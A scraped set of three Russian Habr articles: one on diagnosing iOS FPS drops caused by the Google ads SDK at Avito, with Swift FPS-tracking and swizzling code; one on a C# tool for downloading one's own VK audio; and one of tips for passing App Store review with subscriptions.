Дополнительные данные к нон-фаталуКак ни печально, эти данные мне ничего не дали. Ни один из параметров не указывал на потенциальные проблемы. И тут я понял, в них не было самого важного — стектрейса главного потока! Ведь интересней всего именно причина, почему он загружен и не может отрисовывать интерфейс, а всё остальное — бездушные цифры.
К сожалению, в нон-фаталах нет стектрейса потоков, только трейс вызова самого нон-фатала. Это явно не то, что мне нужно. Как получить все стекстрейсы? Можно заморочиться по-разному и долго мучаться, чтобы эти трейсы собрать, а потом ещё и символизировать. Но зачем, если Crashlytics всё это умеет? Нужно лишь... крашить приложение, когда произошла просадка! Отчаянная мера, но тот, кто не рискует... Ну и я всегда мечтал крашить приложение по своей воле. Какая беспредельная власть!
Я сделал логику, которая помимо нон-фатала в Crashlytics генерировала NSException со всеми теми же полями, но с несколькими важными отличиями. Краш происходил только один раз для установки приложения, проверяя ключ в UserDefaults, и эксепшен выкидывался на фоновом потоке. Если бы он отрабатывал на главном, то в стектрейсе главного потока я бы видел одно и то же — трейс выкидывания NSException. А мне нужно видеть, чем главный поток может быть занят в текущий момент.
Также краш помещён под тоггл, управляемый с бэкенда, чтобы можно было его аккуратно регулировать. Изначально тогл выключен у всех пользователей и включается на процент при необходимости.
Админка тоглов. На самом деле там 30 секунд, просто описание кривоеКогда я включил тогл на 5% пользователей, и данные начали литься, то сильно понятней картинка не стала. Но всплыли некоторые подозрительные стектрейсы. Это дало пищу для ума и потребовало времени на размышления. Вот кусочек одного из трейсов:
Стектрейс
```
com.apple.main-thread
0 libsystem_kernel.dylib 0x1d99f72d0 mach_msg_trap + 8
1 libsystem_kernel.dylib 0x1d99f6660 mach_msg + 76
2 libdispatch.dylib 0x1ac729888 _dispatch_mach_send_and_wait_for_reply + 528
3 libdispatch.dylib 0x1ac729c24 dispatch_mach_send_with_result_and_wait_for_reply + 56
4 libxpc.dylib 0x1f5f59e68 xpc_connection_send_message_with_reply_sync + 240
5 RunningBoardServices 0x1b5e81240 -[RBSXPCMessage sendToConnection:error:] + 416
6 RunningBoardServices 0x1b5e8199c -[RBSXPCMessage invokeOnConnection:withReturnCollectionClass:entryClass:error:] + 96
7 RunningBoardServices 0x1b5e64464 -[RBSConnection acquireAssertion:error:] + 376
8 RunningBoardServices 0x1b5e6121c -[RBSAssertion acquireWithError:] + 208
9 WebKit 0x1b9197dbc WebKit::ProcessAssertion::ProcessAssertion(int, WTF::String const&, WebKit::ProcessAssertionType) + 748
10 WebKit 0x1b919857c WebKit::ProcessAndUIAssertion::ProcessAndUIAssertion(int, WTF::String const&, WebKit::ProcessAssertionType) + 24
11 WebKit 0x1b90bfe24 WebKit::ProcessThrottler::setAssertionType(WebKit::ProcessAssertionType) + 272
12 WebKit 0x1b90bfba8 WebKit::ProcessThrottler::updateAssertionIfNeeded() + 436
13 WebKit 0x1b90c49f4 WebKit::ProcessThrottler::Activity<(WebKit::ProcessThrottler::ActivityType)1>::Activity(WebKit::ProcessThrottler&, WTF::ASCIILiteral) + 80
14 WebKit 0x1b911e4a4 WebKit::WebPageProxy::runJavaScriptInFrameInScriptWorld(WebCore::RunJavaScriptParameters&&, WTF::Optional >, API::ContentWorld&, WTF::Function, WebKit::CallbackBase::Error)>&&) + 224
15 WebKit 0x1b9025e30 -[WKWebView \_evaluateJavaScript:asAsyncFunction:withSourceURL:withArguments:forceUserGesture:inFrame:inWorld:completionHandler:] + 1372
16 WebKit 0x1b8de5170 -[WKWebView evaluateJavaScript:completionHandler:] + 100
17 AvitoFoundation 0x101b889f4 \_\_destroy\_helper\_block\_e8\_40s48r56r64r + 24456
18 AvitoFoundation 0x101b76fb0 \_\_destroy\_helper\_block\_e8\_32s40w48w + 23180
19 AvitoFoundation 0x101b7ffbc \_\_destroy\_helper\_block\_e8\_32s40w48w + 60056
20 AvitoFoundation 0x101b76f40 \_\_destroy\_helper\_block\_e8\_32s40w48w + 23068
21 AvitoFoundation 0x101b75408 \_\_destroy\_helper\_block\_e8\_32s40w48w + 16100
22 AvitoFoundation 0x101b839fc \_\_destroy\_helper\_block\_e8\_40s48r56r64r + 3984
23 AvitoFoundation 0x101b8357c \_\_destroy\_helper\_block\_e8\_40s48r56r64r + 2832
24 libdispatch.dylib 0x1ac70f24c \_dispatch\_call\_block\_and\_release + 32
25 libdispatch.dylib 0x1ac710db0 \_dispatch\_client\_callout + 20
26 libdispatch.dylib 0x1ac71e7ac \_dispatch\_main\_queue\_callback\_4CF + 836
27 CoreFoundation 0x1aca9811c \_\_CFRUNLOOP\_IS\_SERVICING\_THE\_MAIN\_DISPATCH\_QUEUE\_\_ + 16
28 CoreFoundation 0x1aca92120 \_\_CFRunLoopRun + 2508
29 CoreFoundation 0x1aca9121c CFRunLoopRunSpecific + 600
30 GraphicsServices 0x1c3b10784 GSEventRunModal + 164
31 UIKitCore 0x1af4ca200 -[UIApplication \_run] + 1072
32 UIKitCore 0x1af4cfa74 UIApplicationMain + 168
33 Avito 0x10056ef4c main + 112 (main.m:112)
34 libdyld.dylib 0x1ac7516c0 start + 4
```
Во втором мелькало что-то про `GADNetwork`, но найти его при написании статьи я уже не смог.
На этом месте стоит оговориться, что когда-то в Авито я работал в команде монетизации и занимался интеграцией рекламных сетей в приложение. Успев столкнуться с разными интересными багами, я по привычке сразу паранойю, что любая непонятная проблема — это реклама. Поэтому тут я тоже стал думать в сторону рекламы. На это у меня было несколько причин:
1. `GADNetwork` — это гугловая реклама.
2. 18 строка стектрейса — выполнение JS-кода под капотом. Тоже похоже на рекламу, которая трекает своё появление на экране через JS.
3. Также был стектрейс, который указывал на глобальное окно Гугл-рекламы, которое фреймворк добавляет в приложение и делает невидимым. Зачем? Я не знать! Но тоже чтобы трекать показы, скорее всего.
Проблема в том, что данные были косвенными, я любил параноить на рекламу, а Гугл-реклама в приложении на тот момент была отключена уже как несколько лет. А даже если не отключена, то не было гарантии, что это проблемные стектрейсы, ведь они просто рандомно захватывались в момент просадки. А `GADNetwork`, JS-код и гугловое окно всегда в фоне что-то делают, такая у них судьба.
Я ещё какое-то время поразмышлял, что это может быть, чтобы не гнать на рекламу, но тут мне начали прилетать похожие новости про Google SDK из соседней компании. Не удержавшись, я решил попробовать погонять тестовую Гугл-рекламу на своём девайсе.
Hell(o), Google!
----------------
Включил тестовый конфиг, запустил приложение, зашёл на выдачу, начал скроллить её вниз. И что? Лаги! Дикие лаги, как в первом видео от пользователя. Графики потребления процессора в CPU Usage в это время зашкаливали.
Я не поверил, что это правда. Выключил рекламу и сделал всё то же самое — лагов нет. Включил — есть. Так несколько раз, чтобы убедиться, что это не моя паранойя. Удивительно, но спустя несколько месяцев сбора статистики виновник был найден!
Если остановить выполнение приложения во время выполнения или на брейкпоинте, то можно увидеть красивый thread exploding:
Треды плодятсяНо Гугл-реклама же отключена несколько лет. Ладно, разберёмся в Слаке. Пишу, жду ответа, и в итоге:
Переписка в СлакеИ в дополнение, на тестовых сборках её вообще не было в силу технических причин. Кто работал с рекламой знают, что получить её в дебажных сборках — то ещё задание. Поэтому-то проблема была такой неуловимой. А даты проведения теста хорошо коррелировали с датами появления лагов.
А что с технической стороны, в чём там проблема? Когда пользователь открывает выдачу, под капотом в это время:
1. Загружается выдача со слотами для рекламы.
2. Загружается реклама от Гугла.
3. Создаются объекты гугловой рекламы из SDK.
4. Объекты кладутся в кэш в нашем коде и ждут, когда будет произведен показ данных из них.
5. После показа они не удаляются и живут в кэше на случай, если пользователь будет скролить выдачу назад.
Штука в том, что каждый такой объект лезет выполнять JS-код раз в секунду по таймеру и плодит для себя треды. Когда юзер долистывает до 10-15 страницы выдачи (а это частый кейс), то треды и JS-код забивают почти всё процессорное время. Спасибо, Гугл!
На тот момент, конечно, рекламу отключили, и графики просадок из моих нон-фаталов ушли в ноль. Я вздохнул с облегчением.
Нон-фаталы уходят в нольКоманда по работе с рекламой связалась с представителями Гугла, чтобы пофиксить SDK. Но ответ был неутешительный — это корневая логика для отслеживания показов баннеров, и пока её не починили (до сих пор).
Что сделали мы? Для бизнеса реклама крайне важна, так как приносит неплохую долю выручки. Отключать её — не вариант, поэтому пришлось искать золотую середину. Мы стали кэшировать максимум 5 последних рекламных блоков, а остальные удалять. Это позволило сильно снять нагрузку с процессора, но, конечно, не полностью. По крайней мере тестирование на iPhone 5 показало себя хорошо.
Но знаете что? Я всё ещё параноил! И именно поэтому пошёл дальше, прямо во тьму.
Alone in the dark
-----------------
Мало просто пофиксить проблему здесь и сейчас. Если что-то произошло один раз в таком большом проекте как Авито, то оно произойдёт снова. Это проверенная временем аксиома. И мне нужно было найти способ защититься от подобных проблем в будущем, чтобы спать спокойно.
Тут возникает новый челлендж. На что смотреть и как смотреть, чтобы данные были точными? У нас уже были метрики FPS, но они настолько бесполезные, что я давно перестал к ним обращаться.
Метрики FPSFPS — значение динамическое. Как видно из скриншота, с одной стороны значение всегда около 59 кадров в секунду, а с другой — FPS в покое и при скролле очень отличаются. Да и в A/B-тестах сравнивать значения FPS будет сложно, так как всегда будет небольшой дифф. Нужно было что-то другое.
Самым простым и рабочим решением показалось расширить логику детектирования пробивания трешолда, только сделать не один трешолд, а несколько. Такая метрика отражает картину мира лучше, ведь вместо абстрактного изменяющегося среднего значения FPS видно, сколько пользователей пробили конкретный трешолд за период времени. Можно сразу оценить степень бедствия по тому, сколько пользователей задето и насколько сильно. При этом мы не видим микроизменения, и из-за этого метрика получилась сильно стабильнее, чем среднее или медиана.
Трешолды я выбрал следующие: 95, 90, 85, 70, 50, 30, 10% от максимально возможного значения FPS на устройстве. То есть на 60 FPS девайсе: 95% = 57 FPS, а 10% = 6 FPS. На верхней границе разбиение более мелкое, чтобы гранулярно детектировать небольшие просадки от максимума. Дальше стоит смотреть только на факт пробития низких трешолдов, ибо это серьёзная проблема, и гранулярность тут не важна.
В качестве окна замера я всё также беру 30 секунд, ведь они хорошо себя показали. Если у пользователя просадка 30 и более секунд — это очень серьёзно, если меньше, то в метриках может быть много флуктуаций.
Сами метрики немного масштабировал. Теперь они отсылаются в Графану, где отображаются в реальном времени и динамике. Так можно понять, в какой версии приложения и в какую дату что-то сломалось.
Метрики пробивания трешолдов FPSТакже нужно было внедриться в A/B-тесты. Обычно тест раскатывается на небольшую группу пользователей и не сильно изменяет глобальные метрики. Плюс это происходит очень плавно. Ну а если запущено одновременно два A/B, один из которых просаживает FPS, а второй улучшает, то в Графане не будет видно разницы.
По этой причине я продублировал отправку данных в DWH и систему A/B-тестирования. Это позволило в каждом A/B видеть, как он изменяет FPS и сразу понимать, что в конкретном тесте есть проблемы с перформансом. Если A/B проблемный, то продуктовая команда не может его выкатить, пока не исправит ситуацию.
Итого, мы максимально избавляемся от неочевидных просадок FPS, держим руку на пульсе и спим спокойно. Пока без алертингов, но поддержка тоже не спит.
Метрики FPS в A/B-тестах. Зелёное — стало плохоНу и последнее изменение — краш теперь срабатывает у пользователя только раз в неделю, и то, если тогл включен. С одной стороны, если у юзера спустя неделю ещё есть просадки — мы их увидим, а с другой — не будем крашить апп постоянно.
В общем, хеппи энд, почти.
### А ещё у меня есть десерт
Помните про интересные стектрейсы Гугл-рекламы? Если мне не изменяет память, то там вызывается WebKit. Часто и порой долго. Как раз это и приводит к проблемам с FPS, помимо thread exploding. Но как быстро понять, что именно реклама снова начала шалить? Например, чтобы отключить её в случае катастрофы.
К счастью, мы живём в удивительное время, когда iOS SDK написан в большинстве своём на Objective-C и можно **засвизлить** что угодно. Например, метод `WKWebView.evaluateJavaScript(_: completionHandler: )`, который дёргает Гугл.
У этого метода есть completion handler, который вызывается на главном потоке. А также он вызывается Гуглом порой по тысяче раз в секунду. Поэтому я собрался его переопределить и трекать три метрики:
1. Количество вызовов метода за 10 секунд.
2. Среднее время выполнения кода метода.
3. Среднее время выполнения комплишена.
А проще говоря: что могу, то и замеряю. Картинка в Графане на этот счёт получается такая:
Чтобы сопоставить эти данные с данными загрузки рекламы, нужно дополнительно отправлять метрики количества показов рекламы разных рекламных сетей. Это выглядит так:
В целом видно, что снижение количества рекламы приводит к снижению количества вызовов JS-кода. На этом и остановимся. Данных хватает, из них можно получить достаточно информации, и на их основе решать проблемы с FPS.
Бесплатный код
--------------
Я не стал вставлять код в тело статьи, чтобы не показывать промежуточные решения и не отвлекать читателя от истории. Но это Хабр и, думаю, меня заминусуют, если кода совсем не будет. Поэтому он будет здесь. Весь. Сразу.
Предупреждаю, что код немного зависит от сущностей, которые тут не представлены — утилит, событий аналитики. Поправить это не составит труда, если он будет кому-то полезен.
FpsListener (обёртка над CADisplayLink)
```
public typealias Frame = (timestamp: TimeInterval, length: TimeInterval)
public final class FpsListener {
public var maximumFps: Int { UIScreen.main.maximumFramesPerSecond }
private var displayLink: CADisplayLink?
private var lastTimestamp: TimeInterval?
private var observerList = ObserverList<(Frame) -> ()>() // Внутренняя реализация обсервера
public init() {}
public func subscribe(_ disposable: AnyObject, observer: @escaping (Frame) -> ()) {
DispatchQueue.main.avitoAsync {
let observersWasEmpty = self.observerList.isEmpty
self.observerList.addObserver(disposable: disposable, observer: observer)
if observersWasEmpty {
self.removeDisplayLink()
self.forceAddDisplayLink()
self.suscribeForAppStateUpdates()
}
}
}
public func unsubscribe(_ disposable: AnyObject) {
DispatchQueue.main.avitoAsync {
self.observerList.removeObserver(disposable: disposable)
if self.observerList.isEmpty {
self.removeDisplayLink()
NotificationCenter.default.removeObserver(self)
}
}
}
private func forceAddDisplayLink() {
displayLink?.invalidate()
displayLink = CADisplayLink(target: self, selector: #selector(handleDisplayUpdate))
displayLink?.add(to: .main, forMode: .common)
}
private func removeDisplayLink() {
guard displayLink != nil else { return }
displayLink?.remove(
from: .main,
forMode: .common
)
displayLink?.invalidate()
displayLink = nil
lastTimestamp = nil
}
private func suscribeForAppStateUpdates() {
NotificationCenter.default.addObserver(
self,
selector: #selector(self.pauseUpdating),
name: UIApplication.willResignActiveNotification,
object: nil
)
NotificationCenter.default.addObserver(
self,
selector: #selector(self.resumeUpdating),
name: UIApplication.didBecomeActiveNotification,
object: nil
)
}
@objc private func handleDisplayUpdate(_ displayLink: CADisplayLink) {
defer { lastTimestamp = displayLink.timestamp }
guard let lastTimestamp = lastTimestamp else { return }
observerList.forEach { $0((displayLink.timestamp, displayLink.timestamp - lastTimestamp)) }
}
@objc private func pauseUpdating() {
guard observerList.isNotEmpty else { return }
removeDisplayLink()
}
@objc private func resumeUpdating() {
guard displayLink == nil, observerList.isNotEmpty else { return }
forceAddDisplayLink()
}
}
```
FpsDrawdownTracker
```
final class FpsDrawdownTracker {
private let targetFps: Double
private let fpsThresholds: [FpsThreshold]
private let windowSize: Int // In seconds
private var currentFrames = [Frame]()
private var fpsInWindow = [Double]()
private var onDrawdown: ((FpsDrawdownData) -> ())?
init(
windowSize: Int = 30,
targetFps: Double = Double(UIScreen.main.maximumFramesPerSecond)
) {
assert(windowSize > 0, "windowSize should be positive value with positive thougths :)")
self.targetFps = targetFps
self.windowSize = windowSize
self.fpsThresholds = FpsPercent.allCases
.sorted(by: <)
.map { ($0.fps(for: targetFps), $0) }
}
func addFrame(_ frame: Frame) {
guard let onDrawdown = self.onDrawdown else { return }
currentFrames.append(frame)
guard
let firstFrameStart = currentFrames.first.flatMap({ $0.timestamp - $0.length }),
let lastFrame = currentFrames.last?.timestamp
else { return }
guard lastFrame - firstFrameStart >= 1 else { return }
var nextFrames = [Frame]()
while currentFrames.count > 2 && (currentFrames.last?.timestamp ?? 0) - firstFrameStart > 1 {
nextFrames.insert(currentFrames.removeLast(), at: 0)
}
defer { currentFrames = nextFrames }
let currentFramesCount = currentFrames.count
fpsInWindow.append(Double(currentFramesCount))
guard fpsInWindow.count >= windowSize else { return }
defer { fpsInWindow.removeAll() }
let averageFps = ceil(fpsInWindow.reduce(0.0, +) / Double(fpsInWindow.count))
guard let brokenThreshold = fpsThresholds.first(where: { averageFps <= $0.fps }) else { return }
onDrawdown((Double(targetFps), averageFps, brokenThreshold, windowSize))
}
func startTracking(onDrawdown: @escaping ((FpsDrawdownData) -> ())) {
self.onDrawdown = onDrawdown
}
func stopTracking() {
self.onDrawdown = nil
}
}
typealias FpsDrawdownData = (target: Double, actual: Double, threshold: FpsThreshold, windowSize: Int)
typealias FpsThreshold = (fps: Double, percent: FpsPercent)
// In percentages because we have 60fps and 120fps devices. All examples for 60fps devices
enum FpsPercent: Double, Hashable, CaseIterable, Comparable, Equatable {
case p95 = 95 // 57 fps
case p90 = 90 // 54 fps
case p85 = 85 // 51 fps
case p70 = 70 // 42 fps
case p50 = 50 // 30 fps
case p30 = 30 // 18 fps
case p10 = 10 // _6 fps
static func < (lhs: FpsPercent, rhs: FpsPercent) -> Bool {
return lhs.rawValue < rhs.rawValue
}
func fps(for target: Double) -> Double {
target * rawValue * 0.01
}
}
```
WebViewJSEvaluationTracker
```
public final class WebViewJSEvaluationTracker {
private static let lock = MultiplatformLock() // По сути любой лок
private static var isStarted = false
public static func startOnce(logger: EventLogger) {
// To avoid using lock if subscriber is already started
guard !isStarted else { return }
assert(Thread.isMainThread, "This class should be used from main thread only", showAlert: false)
lock.perform {
guard !isStarted else { return }
isStarted = true
var sentEventsCount = 0
var evaluateCount = 0
var evaluateTimings = [Double]()
var completionTimings = [Double]()
onEvaluateJavaScript = { evaluate in
evaluateCount += 1
let callStart = DispatchTime.now()
evaluate {
let completionEnd = DispatchTime.now()
let nanoTime = completionEnd.uptimeNanoseconds - callStart.uptimeNanoseconds
let timeInterval = Double(nanoTime) / 1_000_000_000
completionTimings.append(timeInterval)
}
let callEnd = DispatchTime.now()
let nanoTime = callEnd.uptimeNanoseconds - callStart.uptimeNanoseconds
let timeInterval = Double(nanoTime) / 1_000_000_000
evaluateTimings.append(timeInterval)
}
var timer: Foundation.Timer?
timer = Foundation.Timer.scheduledTimer(withTimeInterval: 10, repeats: true) { [weak timer] _ in
guard sentEventsCount <= 100 else {
onEvaluateJavaScript = { $0{} }
timer?.invalidate()
return
}
guard !evaluateTimings.isEmpty || !completionTimings.isEmpty else { return }
var events = [AppMetricEvent]()
events += evaluateTimings
.sorted()
.suffix(1)
.map { AppMetricEvent(metrics: [EvaluateJavaScriptCallTimeMetric(timeInterval: $0)]) }
events += completionTimings
.sorted()
.suffix(1)
.map { AppMetricEvent(metrics: [EvaluateJavaScriptCompletionTimeMetric(timeInterval: $0)]) }
events += [AppMetricEvent(metrics: [EvaluateJavaScriptCountMetric(count: evaluateCount)])]
events.forEach { logger.log($0) }
evaluateTimings.removeAll()
completionTimings.removeAll()
sentEventsCount += 1
evaluateCount = 0
}
swizzle(
originalSelector: #selector(WKWebView.evaluateJavaScript(_: completionHandler: )),
swizzledSelector: #selector(WKWebView.swizzled_evaluateJavaScript(_: completionHandler: ))
)
}
}
private static func swizzle(originalSelector: Selector, swizzledSelector: Selector) {
guard let originalMethod = class_getInstanceMethod(WKWebView.self, originalSelector) else { return }
guard let swizzledMethod = class_getInstanceMethod(WKWebView.self, swizzledSelector) else { return }
method_exchangeImplementations(originalMethod, swizzledMethod)
}
}
private var onEvaluateJavaScript: (((@escaping () -> ()) -> ()) -> ())?
private extension WKWebView {
@objc func swizzled_evaluateJavaScript(_ javaScriptString: String, completionHandler: ((Any?, Error?) -> ())?) {
if let onEvaluateJavaScript = onEvaluateJavaScript {
onEvaluateJavaScript { customCompletion in
swizzled_evaluateJavaScript(javaScriptString) {
completionHandler?($0, $1)
customCompletion()
}
}
} else {
swizzled_evaluateJavaScript(javaScriptString, completionHandler: completionHandler)
}
}
}
```
Подведу черту
-------------
На данный момент метрики в A/B уже помогли отловить несколько проблемных тестов с просадками FPS и починить их до выкатки. А глобальные метрики в Графане помогают отследить динамику, если какая-то функциональность катится без A/B-тестов.
Когда приходят обращения пользователей по поводу лагов скролла или нагрева девайса, то как минимум сразу можно проверить метрики и понять, есть ли проблема. А чтобы отдебажить, где она, — включить тот самый краш при просадке FPS на 50%. Плюс корреляция данных из метрик FPS с данными выполнения JS-кода вебкитом и количеством показов разной рекламы помогает быстро определить, с рекламой ли проблема, и быстро исправить ситуацию.
Ну и главный вывод: как в ушедшем 2021 году многие уже успели убедиться, внешние SDK от крупных компаний не такие милые и пушистые, как может показаться. Вспомним примеры с Facebook и log4j как минимум. Сколько ещё подобных историй случается и проходит мимо внимания комьюнити?
По поводу Facebook у меня есть отдельная история когда пришлось свизлить (только дай посвизлить этому парню!), чтобы они перестали перехватывать все NSExceptions в приложении и слать себе в аналитику. Но это уже совсем другая тема, и кратко с ней можно [ознакомиться на Гитхабе](https://github.com/facebook/facebook-ios-sdk/issues/1286).
В новом году хочу пожелать всем iOS-разработчикам, чтобы никому не приходилось сталкиваться с колючими внешними библиотеками и их артефактами, а проблемы с перфомансом дебажились быстро и легко. Ну и чтобы не приходилось свизлить.
По всем вопросам непосредственно ко мне можно писать в телеграм [@west0r](/users/west0r). До середины лета я буду отдыхать и восстанавливать свой личный перформанс, поэтому на Хабре могу не ответить. | https://habr.com/ru/post/597417/ | null | ru | null |
# Сохраняем музыку на C#
В 2020ом мы пользуемся разными музыкальными сервисами, но как реликт ушедшей эпохи, в забытом профиле ВК, у многих хранится музыка. Функции для загрузки нет, но что если позарез нужно спасти аудиозапись?
Поскольку такого софта в открытом доступе не обнаружилось, кроме парочки веб-сервисов требующих авторизацию через ВК (что не очень то и безопасно), под катом мы рассмотрим процесс создания self-hosted утилиты на современном C# для загрузки своих аудио, не сливающей данные профиля сторонним сервисам.
Одной из ценностей работы программиста является простота и по возможности лаконичность кода. Поэтому мы склеим несколько уже существующих библиотек чтобы получить нужное решение.
Работать утилита будет так:
```
dotnet vkm [login] [password] [audio-lemma]
```
Перво-наперво создадим репозиторий и опишем в одном файле csproj зависимости проекта
```
Exe
netcoreapp3.1
enable
true
9
```
После этого с чистой совестью можно приступать к написанию кода. Нам потребуется авторизация утилиты в ВК с полным доступом к своему профилю. И как мы видим, благодаря экосистеме .NET, сделать это невероятно просто:
```
static class Vk
{
internal static VkApi LoginToVkApi(string login, string password)
{
// Включаем доступ к своим сообщениям, комментариям и аудиозаписям
var api = new VkApi(new ServiceCollection().AddAudioBypass());
api.Authorize(new ApiAuthParams
{
ApplicationId = 1980660,
Login = login,
Password = password,
Settings = All
});
$"Login as vk.com/id{api.UserId}".Println(DarkBlue);
return api;
}
}
```
Опишем точку входа и фильтр загружаемых аудиозаписей. Используем для этого top-level programs и прямо в файле Application.cs валидируем аргументы, одновременно инициализируя api
```
var vk = args.Length switch
{
3 => LoginToVkApi(args[0], args[1]),
_ => throw new ArgumentException("Invalid arguments. Usage:\n" +
" dotnet vkm [login] [password] [audio]\n" +
)
};
```
Приводим лемму для поиска аудиозаписи к upper-case
```
var lemma = args.Last().ToUpperInvariant();
```
И грепаем с помощью Linq все аудиозаписи с её вхождением. Отдельное спасибо хабраюзеру [SuperHackerVk](https://habr.com/ru/users/superhackervk/) за [способ получения mp3-ссылки регуляркой](https://habr.com/ru/post/519302/).
```
var audios = vk.Audio.Get(new AudioGetParams { Count = 6000 })
.Where(x => x.Title.ToUpperInvariant().Contains(lemma))
.Select(x => (x.Title, Url: Regex.Replace(
x.Url.ToString(),
@"/[a-zA-Z\d]{6,}(/.*?[a-zA-Z\d]+?)/index.m3u8()",
@"$1$2.mp3"
)));
```
Наконец остается только загрузить свои найденные аудио:
```
using var http = new HttpClient();
foreach (var (title, url) in audios)
{
$"Downloading {title}...".Println(DarkBlue);
await WriteAllBytesAsync($"{title}.mp3", await http.GetByteArrayAsync(url));
}
```
Вот и все! Утилита написана и готова к использованию в личных целях. Заметно как C# с каждым годом все больше превращается в хороший мультитул, позволяющий решать любой спектр задач. Расширения синтаксических возможностей которые при анонсах кажутся загромождающими язык, на практике напротив, позволяют сократить код и сделать его простым и понятным.
[Репозиторий на GitHub c небольшими дополнениями и документацией по запуску](https://github.com/demidko/vkm).
Всем удачного дня! | https://habr.com/ru/post/525346/ | null | ru | null |
# 15 советов, как пробиться в App Store приложению с подписками
В этой статье я расскажу, как увеличить шансы пройти проверку в App Store приложению с подписками. Если вы когда-либо испытывали проблему с аппрувом приложений с подписками или вот-вот планируете релиз, тогда это будет вам полезно.
Всем привет, меня зовут Денис, я основатель сервиса [Apphud](https://apphud.com/h) – сервиса аналитики подписок iOS-приложений.
Как вы наверняка знаете, проверка состоит из двух этапов: ручная проверка (приложение просматривает человек) и автоматическая проверка ботом. Но, предполагаю, не каждое обновление проверяется человеком. Бывало, наши приложения проходили проверку менее, чем через 10 минут после отправки на ревью. С каждым годом доля автоматических проверок увеличивается и бот берет на себя все бóльшую роль при проверке приложений.
Важные сведения о проверке приложений
-------------------------------------
Мы не знаем, *как* именно проверяют приложения и в каком случае оно отправляется на ручную проверку, но наш опыт подсказывает, что справедливо следующее.
* Каждый новый бинарный файл проверяется на наличие приватного API.
* Первый релиз и любые обновления, в которых добавляются новые встроенные покупки, чаще всего проверяются человеком.
* Если Apple посчитает ваше приложение подозрительным (например, заметит резкий рост числа оценок, отзывов или значительное увеличение цен на встроенные покупки), то может отправить его на проверку ревьюеру.
* Существует “Черный список”, куда попадают недобросовестные разработчики. Присутствие в нем грозит проблемами при проверке. Не важно, будет ли это новое приложение или обновление существующего.
Советы при отправке на ревью
----------------------------
Ниже мы приводим некоторые рекомендации, которые помогут облегчить прохождение модерации.
### 1. Заранее создайте все возможные длительности подписок и отправьте их на ревью
Если вы добавите новые подписки в обновлении, то оно с большой вероятностью уйдет на модерацию к ревьюеру. А ведь разумно сводить число ручных проверок к минимуму, правда? Поэтому желательно отправлять на ревью приложение сразу с полным набором подписок. Создайте несколько продуктов с разными ценами и длительностями, даже если они сейчас и не нужны. Поверьте, в будущем пригодятся.
### 2. Максимально упростите экран покупки при ее отправке на первую проверку
Избегайте неочевидных трактовок и нестандартных интерфейсных решений. В первый раз пройдите проверку с самым простым экраном покупки. Когда пройдете, сможете его обновить по своему усмотрению (но, разумеется, в рамках App Review Guidelines).
> Кстати, ревьюеры запросто могут проверить ваше приложение вручную в любое время. Даже если вы не отправляли обновление. Учитывайте это и не меняйте интерфейс экрана покупки после прохождения модерации без ведома Apple. Это чревато удалением приложения из App Store.
### 3. Укажите сразу все варианты подписок на экране покупки
Модераторы Apple не будут тратить много времени на поиск всех возможных подписок в вашем приложении. Потому мы советуем сделать один экран со всеми возможными покупками, доступными пользователю. Например, используйте одну большую кнопку с основной подпиской и кнопку “показать больше опций”, при нажатии на которую будет показываться экран с остальными вариантами подписок.
### 4. Добавьте информацию о подписках.
Это крайне важный пункт. Информация о подписке может быть написана мелким шрифтом (но оставаться читабельной), может быть обрезана, но *обязательно должна быть видна хотя бы частично без прокрутки экрана.*
На экране покупки вы должны указать следующее:
```
Для доступа к [Перечень платных функций] вы должны приобрести подписку [Название подписки]. Подписка производится с вашего аккаунта iTunes и обновляется автоматически. Отмена подписки производится в основных настройках iOS в параметрах учетной записи iTunes не менее чем за 24 часа до окончания текущего периода. Стоимость подписки будет списана в течение 24 часов после окончания пробного периода. Любая неиспользованная часть бесплатного пробного периода, если таковая предлагается, будет аннулирована, когда пользователь приобретает подписку на эту публикацию, где это применимо
```
Мы также рекомендуем для первой проверки добавить в самое начало еще одну фразу :
```
Удаление приложения не отменяет подписку автоматически.
```
или на английском:
```
Removing the app doesn’t automatically cancel the subscription.
```
В последующих обновлениях это предложение можно опустить.
### 5. Проверьте экраны покупки
Ревьюеры почти всегда проверяют приложения на iPad, на которых стоят экраны с пропорциями iPhone 6s. Поэтому обязательно проверьте экраны покупки на iPhone 5s/SE и 6/6s.
### 6. Предварительно загрузите продукты
Никогда не показывайте пользователю экран покупки без предварительно загруженных продуктов. Приложение отклонят, если вы отобразите ревьюеру кликабельный экран покупки без цены на кнопке, пусть даже на пару секунд.
### 7. Указывайте полную цену
Всегда указывайте полную цену, соответствующую периоду подписки: 599 руб в год, 199 руб в неделю. Не делите цены (например, на кнопке **нельзя** показывать цену 28 руб в день (28 руб ~ 199 руб / 7 дней) при подписке 199 рублей в неделю).
### 8. Локализуйте цены покупок
Цены покупок должны быть показаны пользователю в его валюте. Это можно сделать, например, так:
```
func localizedPriceStringFor(product : SKProduct) -> String? {
let formatter = NumberFormatter()
formatter.locale = product.priceLocale
formatter.numberStyle = .currency
return formatter.string(from: product.price)
}
```
### 9. Добавьте ссылки на Правила пользования (Terms of use) и Политику конфиденциальности (Privacy policy)
Ревьюеры всегда их открывают, но в текст особо не вчитываются. Убедитесь, что ссылки не битые и не перепутаны. Для создания правил и политики можно воспользоваться любым генератором, найдя его в Google по запросу "App terms generator"
### 10. Добавьте восстановление покупок
На экране покупки следует обязательно разместить кнопку восстановления покупок (Restore Purchases). Желательно хотя бы на первый релиз сделать ее крупной и назвать именно “Восстановить Покупки” (“Restore Purchases”). Известны случаи, когда приложение отклоняли из-за того, что на кнопке было указано “Restore” (“Восстановить”) вместо “Restore Purchases” (“Восстановить Покупки”)
### 11. Не делайте недельную или годовую покупку основной, по крайней мере на первый релиз.
Месячная – в самый раз. *Добавьте щедрый триал* – уменьшить его можно в любое время.
### 12. Укажите действительные цены
Желательно сразу указать действительные цены. Если будете менять их после релиза, может сработать триггер, и ваше приложение уйдет к ревьюеру.
### 13. Не забудьте обновить интерфейс должным образом, когда пользователь оформил подписку
Например, измените статус подписки пользователя в настройках приложения с Бесплатного на Премиум.
### 14. Может сперва обойтись без подписок?
Если вы боитесь, что вас могут не пропустить из-за недостатка контента или функционала, то поначалу отправьте на модерацию версию без подписок. После успешного прохождения первой проверки выпустите несколько обновлений (можно с незначительными изменениями) и после этого добавьте платные подписки.
### 15. Не забудьте про описание приложения в App Store Connect
В описании приложения в [App Store Connect](https://appstoreconnect.apple.com) не забудьте добавить информацию о подписках, включая их название, цену и длительность.
> Если вас отреджетили, не тратьте время на споры. Спорить с ревьюерами бесполезно. Просто исправьте, что они просят.
>
> 
Заключение
